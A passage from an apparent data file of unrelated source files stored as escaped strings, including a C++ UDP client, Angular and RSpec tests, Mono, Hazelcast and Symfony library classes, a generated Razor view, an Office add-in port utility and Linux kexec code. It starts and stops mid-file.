false;\r\n\t}\r\n\r\n\tSocketUdpClient::~SocketUdpClient()\r\n\t{\r\n\t\tthis->close();\r\n\t}\r\n\r\n\tvoid SocketUdpClient::close()\r\n\t{\r\n\t\tif(!this->_noclose && this->_socket != nullptr) {\r\n\t\t\tsocket_close(this->_socket);\r\n\t\t\tthis->_socket = nullptr;\r\n\t\t}\r\n\t}\r\n\r\n\tvoid SocketUdpClient::setTimeout(time_t seconds)\r\n\t{\r\n\t\tUdpClient::setTimeout(seconds);\r\n\t\tsocket_set_timeout(this->_socket, seconds);\r\n\t}\r\n\r\n\tssize_t SocketUdpClient::write(const void *buffer, const size_t& length)\r\n\t{\r\n\t\tremote_addr_t remote;\r\n\r\n\t\tif(this->_socket == nullptr) {\r\n\t\t\tthis->resolve();\r\n\t\t\tthis->init();\r\n\t\t}\r\n\r\n\t\tif(this->_socket == nullptr)\r\n\t\t\treturn -EINVALID;\r\n\r\n\t\tthis->address().toRemoteAddress(remote);\r\n\t\tremote.version = this->address().version();\r\n\t\tremote.port = this->port();\r\n\t\treturn udp_send_to(this->_socket, buffer, length, &remote);\r\n\t}\r\n\r\n\tssize_t SocketUdpClient::read(void *buffer, const size_t& length)\r\n\t{\r\n\t\tremote_addr_t remote;\r\n\r\n\t\tif(this->_socket == nullptr) {\r\n\t\t\tthis->resolve();\r\n\t\t\tthis->init();\r\n\t\t}\r\n\r\n\t\tif(this->_socket == nullptr)\r\n\t\t\treturn -EINVALID;\r\n\r\n\t\tremote.version = this->address().version();\r\n\t\treturn udp_recv_from(this->_socket, buffer, length, &remote);\r\n\t}\r\n\r\n\tsize_t SocketUdpClient::available() const\r\n\t{\r\n\t\tif(this->_socket == nullptr)\r\n\t\t\treturn -EINVALID;\r\n\r\n\t\treturn udp_socket_available(this->_socket);\r\n\t}\r\n}\r\n", "import * as angularDevkitSchematics from '@angular-devkit/schematics';\nimport {\n SchematicTestRunner,\n UnitTestTree,\n} from '@angular-devkit/schematics/testing';\nimport * as path from 'path';\nimport { readJsonInTree } from '../../src/utils';\n\nconst { Tree } = angularDevkitSchematics;\n\njest.mock(\n '@angular-devkit/schematics',\n () =>\n ({\n __esModule: true,\n ...jest.requireActual('@angular-devkit/schematics'),\n // For some reason TS (BUT only via ts-jest, not in VSCode) has an issue with this spread usage of requireActual(), so suppressing with any\n // eslint-disable-next-line @typescript-eslint/no-explicit-any\n } as any),\n);\n\nconst schematicRunner = new SchematicTestRunner(\n '@angular-eslint/schematics',\n path.join(__dirname, '../../src/collection.json'),\n);\n\ndescribe('library', () => {\n let appTree: UnitTestTree;\n\n beforeEach(() => {\n appTree = new UnitTestTree(Tree.empty());\n appTree.create('package.json', JSON.stringify({}));\n appTree.create(\n 'angular.json',\n JSON.stringify({\n $schema: './node_modules/@angular/cli/lib/config/schema.json',\n version: 1,\n newProjectRoot: 'projects',\n projects: {},\n }),\n );\n });\n\n it('should pass all the given options directly to the @schematics/angular schematic', async () => {\n const spy = jest.spyOn(angularDevkitSchematics, 'externalSchematic');\n const options = {\n name: 'bar',\n };\n\n expect(spy).not.toHaveBeenCalled();\n\n await schematicRunner\n .runSchematicAsync('library', options, appTree)\n .toPromise();\n\n expect(spy).toHaveBeenCalledTimes(1);\n expect(spy).toHaveBeenCalledWith(\n '@schematics/angular',\n 'library',\n expect.objectContaining(options),\n );\n });\n\n it('should change the lint target to use the @angular-eslint builder', async () => {\n const tree = await schematicRunner\n .runSchematicAsync('application', { name: 'bar' }, appTree)\n .toPromise();\n\n expect(readJsonInTree(tree, 'angular.json').projects.bar.architect.lint)\n .toMatchInlineSnapshot(`\n Object {\n \"builder\": \"@angular-eslint/builder:lint\",\n \"options\": Object {\n \"lintFilePatterns\": Array [\n \"projects/bar/**/*.ts\",\n \"projects/bar/**/*.html\",\n ],\n },\n }\n `);\n });\n\n it('should add the ESLint config for the project and delete the TSLint config', async () => {\n const tree = await schematicRunner\n .runSchematicAsync(\n 'application',\n { name: 'bar', prefix: 'something-else-custom' },\n appTree,\n )\n .toPromise();\n\n expect(tree.exists('projects/bar/tslint.json')).toBe(false);\n expect(tree.read('projects/bar/.eslintrc.json')?.toString())\n .toMatchInlineSnapshot(`\n \"{\n \\\\\"extends\\\\\": \\\\\"../../.eslintrc.json\\\\\",\n \\\\\"ignorePatterns\\\\\": [\n \\\\\"!**/*\\\\\"\n ],\n \\\\\"overrides\\\\\": [\n {\n \\\\\"files\\\\\": [\n \\\\\"*.ts\\\\\"\n ],\n \\\\\"parserOptions\\\\\": {\n \\\\\"project\\\\\": [\n \\\\\"projects/bar/tsconfig.app.json\\\\\",\n \\\\\"projects/bar/tsconfig.spec.json\\\\\",\n \\\\\"projects/bar/e2e/tsconfig.json\\\\\"\n ],\n \\\\\"createDefaultProgram\\\\\": true\n },\n \\\\\"rules\\\\\": {\n \\\\\"@angular-eslint/directive-selector\\\\\": [\n \\\\\"error\\\\\",\n {\n \\\\\"type\\\\\": \\\\\"attribute\\\\\",\n \\\\\"prefix\\\\\": \\\\\"something-else-custom\\\\\",\n \\\\\"style\\\\\": \\\\\"camelCase\\\\\"\n }\n ],\n \\\\\"@angular-eslint/component-selector\\\\\": [\n \\\\\"error\\\\\",\n {\n \\\\\"type\\\\\": \\\\\"element\\\\\",\n \\\\\"prefix\\\\\": \\\\\"something-else-custom\\\\\",\n \\\\\"style\\\\\": \\\\\"kebab-case\\\\\"\n }\n ]\n }\n },\n {\n \\\\\"files\\\\\": [\n \\\\\"*.html\\\\\"\n ],\n \\\\\"rules\\\\\": {}\n }\n ]\n }\n \"\n `);\n });\n});\n", "//\r\n// System.CodeDom CodeDirectiveCollection class\r\n//\r\n// Authors:\r\n//\tMarek Safar (marek.safar@seznam.cz)\r\n//\tSebastien Pouliot \r\n//\r\n// (C) 2004 Ximian, Inc.\r\n// Copyright (C) 2005 Novell, Inc (http://www.novell.com)\r\n//\r\n// Permission is hereby granted, free of charge, to any person obtaining\r\n// a copy of this software and associated documentation files (the\r\n// \"Software\"), to deal in the Software without restriction, including\r\n// without limitation the rights to use, copy, modify, merge, publish,\r\n// distribute, sublicense, and/or sell copies of the Software, and to\r\n// permit persons to whom the Software is furnished to do so, subject to\r\n// the following conditions:\r\n// \r\n// The above copyright notice and this permission notice shall be\r\n// included in all copies or substantial portions of the Software.\r\n// \r\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\r\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\r\n// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\r\n// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\r\n// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n//\r\n\r\n#if NET_2_0\r\n\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace System.CodeDom\r\n{\r\n\t[Serializable]\r\n\t[ComVisible (true), ClassInterface (ClassInterfaceType.AutoDispatch)]\r\n\tpublic class CodeDirectiveCollection: System.Collections.CollectionBase {\r\n\r\n\t\tpublic CodeDirectiveCollection ()\r\n\t\t{\r\n\t\t}\r\n\r\n\t\tpublic CodeDirectiveCollection (CodeDirective[] value)\r\n\t\t{\r\n\t\t\tAddRange (value);\r\n\t\t}\r\n\r\n\t\tpublic CodeDirectiveCollection (CodeDirectiveCollection value)\r\n\t\t{\r\n\t\t\tAddRange (value);\r\n\t\t}\r\n\r\n\r\n\t\tpublic CodeDirective this [int index] {\r\n\t\t\tget { return (CodeDirective) List [index]; }\r\n\t\t\tset { List [index] = value; }\r\n\t\t}\r\n\r\n\r\n\t\tpublic int Add (CodeDirective value)\r\n\t\t{\r\n\t\t\treturn List.Add (value);\r\n\t\t}\r\n\r\n\t\tpublic void AddRange (CodeDirective[] value)\r\n\t\t{\r\n\t\t\tif (value == null) {\r\n\t\t\t\tthrow new ArgumentNullException (\"value\");\r\n\t\t\t}\r\n\r\n\t\t\tfor (int i = 0; i < value.Length; i++) {\r\n\t\t\t\tAdd (value[i]);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tpublic void AddRange (CodeDirectiveCollection value)\r\n\t\t{\r\n\t\t\tif (value == null) {\r\n\t\t\t\tthrow new ArgumentNullException (\"value\");\r\n\t\t\t}\r\n\r\n\t\t\tint count = value.Count;\r\n\t\t\tfor (int i = 0; i < count; i++) {\r\n\t\t\t\tAdd (value[i]);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tpublic bool Contains (CodeDirective value)\r\n\t\t{\r\n\t\t\treturn List.Contains (value);\r\n\t\t}\r\n\t\t\r\n\t\tpublic void CopyTo (CodeDirective[] array, int index)\r\n\t\t{\r\n\t\t\tList.CopyTo (array, index);\r\n\t\t}\r\n\r\n\t\tpublic int IndexOf (CodeDirective value)\r\n\t\t{\r\n\t\t\treturn List.IndexOf (value);\r\n\t\t}\r\n\r\n\t\tpublic void Insert (int index, CodeDirective value)\r\n\t\t{\r\n\t\t\tList.Insert (index, value);\r\n\t\t}\r\n\r\n\t\tpublic void Remove (CodeDirective value)\r\n\t\t{\r\n\t\t\tList.Remove (value);\r\n\t\t}\r\n\t}\r\n}\r\n\r\n#endif\r\n", "/*\n * Copyright (c) 2008-2020, Hazelcast, Inc. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.hazelcast.client.impl.protocol.codec;\n\nimport com.hazelcast.client.impl.protocol.ClientMessage;\nimport com.hazelcast.client.impl.protocol.Generated;\nimport com.hazelcast.client.impl.protocol.codec.builtin.*;\nimport com.hazelcast.client.impl.protocol.codec.custom.*;\n\nimport javax.annotation.Nullable;\n\nimport static com.hazelcast.client.impl.protocol.ClientMessage.*;\nimport static com.hazelcast.client.impl.protocol.codec.builtin.FixedSizeTypesCodec.*;\n\n/*\n * This file is auto-generated by the Hazelcast Client Protocol Code Generator.\n * To change this file, edit the templates or the protocol\n * definitions on the https://github.com/hazelcast/hazelcast-client-protocol\n * and regenerate it.\n */\n\n/**\n * Checks the lock for the specified key.If the lock is acquired then returns true, else returns false.\n */\n@Generated(\"306071f9db7b2ab1e92edc63a77973c7\")\npublic final class MapIsLockedCodec {\n //hex: 0x011200\n public static final int REQUEST_MESSAGE_TYPE = 70144;\n //hex: 0x011201\n public static final int RESPONSE_MESSAGE_TYPE = 70145;\n private static final int REQUEST_INITIAL_FRAME_SIZE = PARTITION_ID_FIELD_OFFSET + INT_SIZE_IN_BYTES;\n private static final int RESPONSE_RESPONSE_FIELD_OFFSET = RESPONSE_BACKUP_ACKS_FIELD_OFFSET + BYTE_SIZE_IN_BYTES;\n private static final int RESPONSE_INITIAL_FRAME_SIZE = RESPONSE_RESPONSE_FIELD_OFFSET + BOOLEAN_SIZE_IN_BYTES;\n\n private MapIsLockedCodec() {\n }\n\n @edu.umd.cs.findbugs.annotations.SuppressFBWarnings({\"URF_UNREAD_PUBLIC_OR_PROTECTED_FIELD\"})\n public static class RequestParameters {\n\n /**\n * name of map\n */\n public java.lang.String name;\n\n /**\n * Key for the map entry to check if it is locked.\n */\n public com.hazelcast.internal.serialization.Data key;\n }\n\n public static ClientMessage encodeRequest(java.lang.String name, com.hazelcast.internal.serialization.Data key) {\n ClientMessage clientMessage = ClientMessage.createForEncode();\n clientMessage.setRetryable(true);\n clientMessage.setOperationName(\"Map.IsLocked\");\n ClientMessage.Frame initialFrame = new ClientMessage.Frame(new byte[REQUEST_INITIAL_FRAME_SIZE], UNFRAGMENTED_MESSAGE);\n encodeInt(initialFrame.content, TYPE_FIELD_OFFSET, REQUEST_MESSAGE_TYPE);\n encodeInt(initialFrame.content, PARTITION_ID_FIELD_OFFSET, -1);\n clientMessage.add(initialFrame);\n StringCodec.encode(clientMessage, name);\n DataCodec.encode(clientMessage, key);\n return clientMessage;\n }\n\n public static MapIsLockedCodec.RequestParameters decodeRequest(ClientMessage clientMessage) {\n ClientMessage.ForwardFrameIterator iterator = clientMessage.frameIterator();\n RequestParameters request = new RequestParameters();\n //empty initial frame\n iterator.next();\n request.name = StringCodec.decode(iterator);\n request.key = DataCodec.decode(iterator);\n return request;\n }\n\n @edu.umd.cs.findbugs.annotations.SuppressFBWarnings({\"URF_UNREAD_PUBLIC_OR_PROTECTED_FIELD\"})\n public static class ResponseParameters {\n\n /**\n * Returns true if the entry is locked, otherwise returns false\n */\n public boolean response;\n }\n\n public static ClientMessage encodeResponse(boolean response) {\n ClientMessage clientMessage = ClientMessage.createForEncode();\n ClientMessage.Frame initialFrame = new ClientMessage.Frame(new byte[RESPONSE_INITIAL_FRAME_SIZE], UNFRAGMENTED_MESSAGE);\n encodeInt(initialFrame.content, TYPE_FIELD_OFFSET, RESPONSE_MESSAGE_TYPE);\n encodeBoolean(initialFrame.content, RESPONSE_RESPONSE_FIELD_OFFSET, response);\n clientMessage.add(initialFrame);\n\n return clientMessage;\n }\n\n public static MapIsLockedCodec.ResponseParameters decodeResponse(ClientMessage clientMessage) {\n ClientMessage.ForwardFrameIterator iterator = clientMessage.frameIterator();\n ResponseParameters response = new ResponseParameters();\n ClientMessage.Frame initialFrame = iterator.next();\n response.response = decodeBoolean(initialFrame.content, RESPONSE_RESPONSE_FIELD_OFFSET);\n return response;\n }\n\n}\n", "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Symfony\\Component\\Mailer\\Transport;\n\nuse Psr\\Log\\LoggerInterface;\nuse Psr\\Log\\NullLogger;\nuse Symfony\\Component\\Mailer\\Envelope;\nuse Symfony\\Component\\Mailer\\Event\\MessageEvent;\nuse Symfony\\Component\\Mailer\\SentMessage;\nuse Symfony\\Component\\Mime\\Address;\nuse Symfony\\Component\\Mime\\RawMessage;\nuse Symfony\\Contracts\\EventDispatcher\\EventDispatcherInterface;\n\n/**\n * @author Fabien Potencier \n */\nabstract class AbstractTransport implements TransportInterface\n{\n private $dispatcher;\n private $logger;\n private $rate = 0;\n private $lastSent = 0;\n\n public function __construct(EventDispatcherInterface $dispatcher = null, LoggerInterface $logger = null)\n {\n $this->dispatcher = $dispatcher;\n $this->logger = $logger ?? new NullLogger();\n }\n\n /**\n * Sets the maximum number of messages to send per second (0 to disable).\n */\n public function setMaxPerSecond(float $rate): self\n {\n if (0 >= $rate) {\n $rate = 0;\n }\n\n $this->rate = $rate;\n $this->lastSent = 0;\n\n return $this;\n }\n\n public function send(RawMessage $message, Envelope $envelope = null): ?SentMessage\n {\n $message = clone $message;\n $envelope = null !== $envelope ? clone $envelope : Envelope::create($message);\n\n if (null !== $this->dispatcher) {\n $event = new MessageEvent($message, $envelope, (string) $this);\n $this->dispatcher->dispatch($event);\n $envelope = $event->getEnvelope();\n }\n\n $message = new SentMessage($message, $envelope);\n $this->doSend($message);\n\n $this->checkThrottling();\n\n return $message;\n }\n\n abstract protected function doSend(SentMessage $message): void;\n\n /**\n * @param Address[] $addresses\n *\n * @return string[]\n */\n protected function stringifyAddresses(array $addresses): array\n {\n return array_map(function (Address $a) {\n return $a->toString();\n }, $addresses);\n }\n\n protected function getLogger(): LoggerInterface\n {\n return $this->logger;\n }\n\n private function checkThrottling()\n {\n if (0 == $this->rate) {\n return;\n }\n\n $sleep = (1 / $this->rate) - (microtime(true) - $this->lastSent);\n if (0 < $sleep) {\n $this->logger->debug(sprintf('Email transport \"%s\" sleeps for %.2f seconds', __CLASS__, $sleep));\n usleep($sleep * 1000000);\n }\n $this->lastSent = microtime(true);\n }\n}\n", "#pragma checksum \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\" \"{ff1816ec-aa5e-4d10-87f7-6f4963833460}\" \"6c93321e6e9b0f148e0449c5902bf5cb7ad221b8\"\n// \n#pragma warning disable 1591\n[assembly: global::Microsoft.AspNetCore.Razor.Hosting.RazorCompiledItemAttribute(typeof(AspNetCore.Views_Shared__LoginPartial), @\"mvc.1.0.view\", @\"/Views/Shared/_LoginPartial.cshtml\")]\nnamespace AspNetCore\n{\n #line hidden\n using System;\n using System.Collections.Generic;\n using System.Linq;\n using System.Threading.Tasks;\n using Microsoft.AspNetCore.Mvc;\n using Microsoft.AspNetCore.Mvc.Rendering;\n using Microsoft.AspNetCore.Mvc.ViewFeatures;\n#nullable restore\n#line 1 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\_ViewImports.cshtml\"\nusing KombniyApp;\n\n#line default\n#line hidden\n#nullable disable\n#nullable restore\n#line 2 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\_ViewImports.cshtml\"\nusing KombniyApp.Models;\n\n#line default\n#line hidden\n#nullable disable\n#nullable restore\n#line 1 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\nusing Asp.NetCore.Identity;\n\n#line default\n#line hidden\n#nullable disable\n [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@\"SHA1\", @\"6c93321e6e9b0f148e0449c5902bf5cb7ad221b8\", @\"/Views/Shared/_LoginPartial.cshtml\")]\n [global::Microsoft.AspNetCore.Razor.Hosting.RazorSourceChecksumAttribute(@\"SHA1\", @\"cde0cb099000a1d3912655c1fefd364ef5f3e561\", @\"/Views/_ViewImports.cshtml\")]\n public class Views_Shared__LoginPartial : global::Microsoft.AspNetCore.Mvc.Razor.RazorPage\n {\n #pragma warning disable 1998\n public async override global::System.Threading.Tasks.Task ExecuteAsync()\n {\n WriteLiteral(\"\\r\\n\");\n#nullable restore\n#line 3 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\n if (Request.IsAuthenticated)\n{\n using (Html.BeginForm(\"LogOff\", \"Account\", FormMethod.Post, new { id = \"logoutForm\", @class = \"form-inline\" }))\n {\n \n\n#line default\n#line hidden\n#nullable disable\n#nullable restore\n#line 7 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\n Write(Html.AntiForgeryToken());\n\n#line default\n#line hidden\n#nullable disable\n WriteLiteral(\"
  • \\r\\n \");\n#nullable restore\n#line 9 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\n Write(Html.ActionLink(\"Hi \" + User.Identity.GetUserName() + \"!\", \"Index\", \"Manage\", routeValues: null, htmlAttributes: new { title = \"Manage\", @class = \"nav-link waves-effect waves-light\" }));\n\n#line default\n#line hidden\n#nullable disable\n WriteLiteral(\"\\r\\n
  • \\r\\n
  • Cerrar sesi\u00f3n
  • \\r\\n\");\n#nullable restore\n#line 12 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\n }\n}\nelse\n{\n\n#line default\n#line hidden\n#nullable disable\n WriteLiteral(\"
  • \");\n#nullable restore\n#line 16 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\n Write(Html.ActionLink(\"Register\", \"Register\", \"Account\", routeValues: null, htmlAttributes: new { id = \"registerLink\", @class = \"nav-link waves-effect waves-light\" }));\n\n#line default\n#line hidden\n#nullable disable\n WriteLiteral(\"
  • \\r\\n
  • \");\n#nullable restore\n#line 17 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\n Write(Html.ActionLink(\"Login\", \"Login\", \"Account\", routeValues: null, htmlAttributes: new { id = \"loginLink\", @class = \"nav-link waves-effect waves-light\" }));\n\n#line default\n#line hidden\n#nullable disable\n WriteLiteral(\"
  • \\r\\n\");\n#nullable restore\n#line 18 \"C:\\Users\\merve bilgi\u00e7\\Documents\\GitHub\\KombniyApp\\KombniyApp\\Views\\Shared\\_LoginPartial.cshtml\"\n}\n\n#line default\n#line hidden\n#nullable disable\n }\n #pragma warning restore 1998\n [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]\n public global::Microsoft.AspNetCore.Mvc.ViewFeatures.IModelExpressionProvider ModelExpressionProvider { get; private set; }\n [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]\n public global::Microsoft.AspNetCore.Mvc.IUrlHelper Url { get; private set; }\n [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]\n public global::Microsoft.AspNetCore.Mvc.IViewComponentHelper Component { get; private set; }\n [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]\n public global::Microsoft.AspNetCore.Mvc.Rendering.IJsonHelper Json { get; private set; }\n [global::Microsoft.AspNetCore.Mvc.Razor.Internal.RazorInjectAttribute]\n public global::Microsoft.AspNetCore.Mvc.Rendering.IHtmlHelper Html { get; private set; }\n }\n}\n#pragma warning restore 1591\n", "describe 'Feature Test: Store', :type => :feature do\n describe \"Category List\" do\n it \"displays all of the categories as links\" do\n visit store_path\n Category.all.each do |category|\n expect(page).to have_link(category.title, href: category_path(category))\n end\n end\n end\n\n describe \"Item List\" do\n it 'displays all items that have inventory' do\n second_item = Item.second\n second_item.inventory = 0\n second_item.save\n visit store_path\n Item.all.each do |item|\n if item == second_item\n expect(page).to_not have_content item.title\n else\n expect(page).to have_content item.title\n expect(page).to have_content \"$#{item.price.to_f}\"\n end\n end\n end\n\n context \"not logged in\" do\n\n it 'does not display \"Add To Cart\" button' do\n visit store_path\n expect(page).to_not have_content \"Add To Cart\"\n end\n\n end\n\n context \"logged in\" do\n before(:each) do\n @user = User.first\n login_as(@user, scope: :user)\n end\n\n it 'does display \"Add To Cart\" button' do\n visit store_path\n expect(page).to have_selector(\"input[type=submit][value='Add to Cart']\")\n end\n end\n\n end\n\n describe 'Headers' do\n\n context \"not logged in\" do\n\n it 'has a sign in link' do\n visit store_path\n expect(page).to have_link(\"Sign In\")\n end\n\n it 'has a sign up link' do\n visit store_path\n expect(page).to have_link(\"Sign Up\")\n end\n\n end\n\n context \"logged in\" do\n before(:each) do\n @user = User.first\n login_as(@user, scope: :user)\n end\n\n it \"tells the user who they are signed in as\" do\n visit store_path\n expect(page).to have_content(\"Signed in as #{@user.email}\")\n end\n\n it \"has a sign out link\" do\n visit store_path\n expect(page).to have_link(\"Sign Out\")\n end\n\n it \"lets users sign out\" do\n visit store_path\n click_link(\"Sign Out\")\n expect(page.current_path).to eq(store_path)\n expect(page).to have_link(\"Sing In\")\n end\n end\n\n it 'has a Store Home Link' do\n visit store_path\n expect(page).to have_link(\"Store Home\")\n end\n\n it 'does not have a Cart link' do\n visit store_path\n expect(page).to_not have_link(\"Cart\")\n end\n end\n\n\nend\n", "// Copyright (c) Microsoft Corporation. All rights reserved.\r\n// Licensed under the MIT license.\r\nvar __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {\r\n function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }\r\n return new (P || (P = Promise))(function (resolve, reject) {\r\n function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }\r\n function rejected(value) { try { step(generator[\"throw\"](value)); } catch (e) { reject(e); } }\r\n function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }\r\n step((generator = generator.apply(thisArg, _arguments || [])).next());\r\n });\r\n};\r\nObject.defineProperty(exports, \"__esModule\", { value: true });\r\nconst childProcess = require(\"child_process\");\r\nconst crypto = require(\"crypto\");\r\nconst net = require(\"net\");\r\nconst office_addin_usage_data_1 = require(\"office-addin-usage-data\");\r\n/**\r\n * Determines whether a port is in use.\r\n * @param port port number (0 - 65535)\r\n * @returns true if port is in use; false otherwise.\r\n */\r\nfunction isPortInUse(port) {\r\n validatePort(port);\r\n return new Promise((resolve) => {\r\n const server = net\r\n .createServer()\r\n .once(\"error\", () => {\r\n resolve(true);\r\n })\r\n .once(\"listening\", () => {\r\n server.close();\r\n resolve(false);\r\n })\r\n .listen(port);\r\n });\r\n}\r\nexports.isPortInUse = isPortInUse;\r\n/**\r\n * Parse the port from a string which ends with colon and a number.\r\n * @param text string to parse\r\n * @example \"127.0.0.1:3000\" returns 3000\r\n * @example \"[::1]:1900\" returns 1900\r\n * @example \"Local Address\" returns undefined\r\n */\r\nfunction parsePort(text) {\r\n const result = text.match(/:(\\d+)$/);\r\n return result ? parseInt(result[1], 10) : undefined;\r\n}\r\n/**\r\n * Return the process ids using the port.\r\n * @param port port number (0 - 65535)\r\n * @returns Promise to array containing process ids, or empty if none.\r\n */\r\nfunction getProcessIdsForPort(port) {\r\n validatePort(port);\r\n return new Promise((resolve, reject) => {\r\n const isWin32 = process.platform === \"win32\";\r\n const command = isWin32 ? `netstat -ano` : `lsof -n -i:${port}`;\r\n childProcess.exec(command, (error, stdout) => {\r\n if (error) {\r\n if (error.code === 1) {\r\n // no processes are using the port\r\n resolve([]);\r\n }\r\n else {\r\n reject(error);\r\n }\r\n }\r\n else {\r\n const processIds = new Set();\r\n const lines = stdout.trim().split(\"\\n\");\r\n if (isWin32) {\r\n lines.forEach((line) => {\r\n const [protocol, localAddress, foreignAddress, status, processId] = line.split(\" \").filter((text) => text);\r\n if (processId !== undefined) {\r\n const localAddressPort = parsePort(localAddress);\r\n if (localAddressPort === port) {\r\n processIds.add(parseInt(processId, 10));\r\n }\r\n }\r\n });\r\n }\r\n else {\r\n lines.forEach((line) => {\r\n const [process, processId, user, fd, type, device, size, node, name] = line.split(\" \").filter((text) => text);\r\n if ((processId !== undefined) && (processId !== \"PID\")) {\r\n processIds.add(parseInt(processId, 10));\r\n }\r\n });\r\n }\r\n resolve(Array.from(processIds));\r\n }\r\n });\r\n });\r\n}\r\nexports.getProcessIdsForPort = getProcessIdsForPort;\r\n/**\r\n * Returns a random port number which is not in use.\r\n * @returns Promise to number from 0 to 65535\r\n */\r\nfunction randomPortNotInUse() {\r\n return __awaiter(this, void 0, void 0, function* () {\r\n let port;\r\n do {\r\n port = randomPortNumber();\r\n } while (yield isPortInUse(port));\r\n return port;\r\n });\r\n}\r\nexports.randomPortNotInUse = randomPortNotInUse;\r\n/**\r\n * Returns a random number between 0 and 65535\r\n */\r\nfunction randomPortNumber() {\r\n return crypto.randomBytes(2).readUInt16LE(0);\r\n}\r\n/**\r\n * Throw an error if the port is not a valid number.\r\n * @param port port number\r\n * @throws Error if port is not a number from 0 to 65535.\r\n */\r\nfunction validatePort(port) {\r\n if ((typeof (port) !== \"number\") || (port < 0) || (port > 65535)) {\r\n throw new office_addin_usage_data_1.ExpectedError(\"Port should be a number from 0 to 65535.\");\r\n }\r\n}\r\n//# sourceMappingURL=port.js.map", "/*\n * machine_kexec.c - handle transition of Linux booting another kernel\n * Copyright (C) 2002-2003 Eric Biederman \n *\n * GameCube/ppc32 port Copyright (C) 2004 Albert Herranz\n * LANDISK/sh4 supported by kogiidena\n *\n * This source code is licensed under the GNU General Public License,\n * Version 2. See the file COPYING for more details.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\ntypedef NORET_TYPE void (*relocate_new_kernel_t)(\n\t\t\t\tunsigned long indirection_page,\n\t\t\t\tunsigned long reboot_code_buffer,\n\t\t\t\tunsigned long start_address,\n\t\t\t\tunsigned long vbr_reg) ATTRIB_NORET;\n\nextern const unsigned char relocate_new_kernel[];\nextern const unsigned int relocate_new_kernel_size;\nextern void *gdb_vbr_vector;\n\nvoid machine_shutdown(void)\n{\n}\n\nvoid machine_crash_shutdown(struct pt_regs *regs)\n{\n}\n\n/*\n * Do what every setup is needed on image and the\n * reboot code buffer to allow us to avoid allocations\n * later.\n */\nint machine_kexec_prepare(struct kimage *image)\n{\n\treturn 0;\n}\n\nvoid machine_kexec_cleanup(struct kimage *image)\n{\n}\n\nstatic void kexec_info(struct kimage *image)\n{\n int i;\n\tprintk(\"kexec information\\n\");\n\tfor (i = 0; i < image->nr_segments; i++) {\n\t printk(\" segment[%d]: 0x%08x - 0x%08x (0x%08x)\\n\",\n\t\t i,\n\t\t (unsigned int)image->segment[i].mem,\n\t\t (unsigned int)image->segment[i].mem +\n\t\t\t\t image->segment[i].memsz,\n\t\t (unsigned int)image->segment[i].memsz);\n\t}\n\tprintk(\" start : 0x%08x\\n\\n\", (unsigned int)image->start);\n}\n\n/*\n * Do not allocate memory (or fail in any way) in machine_kexec().\n * We are past the point of no return, committed to rebooting now.\n */\nNORET_TYPE void machine_kexec(struct kimage *image)\n{\n\n\tunsigned long page_list;\n\tunsigned long reboot_code_buffer;\n\tunsigned long vbr_reg;\n\trelocate_new_kernel_t rnk;\n\n#if defined(CONFIG_SH_STANDARD_BIOS)\n\tvbr_reg = ((unsigned long )gdb_vbr_vector) - 0x100;\n#else\n\tvbr_reg = 0x80000000; // dummy\n#endif\n\t/* Interrupts aren't acceptable while we reboot 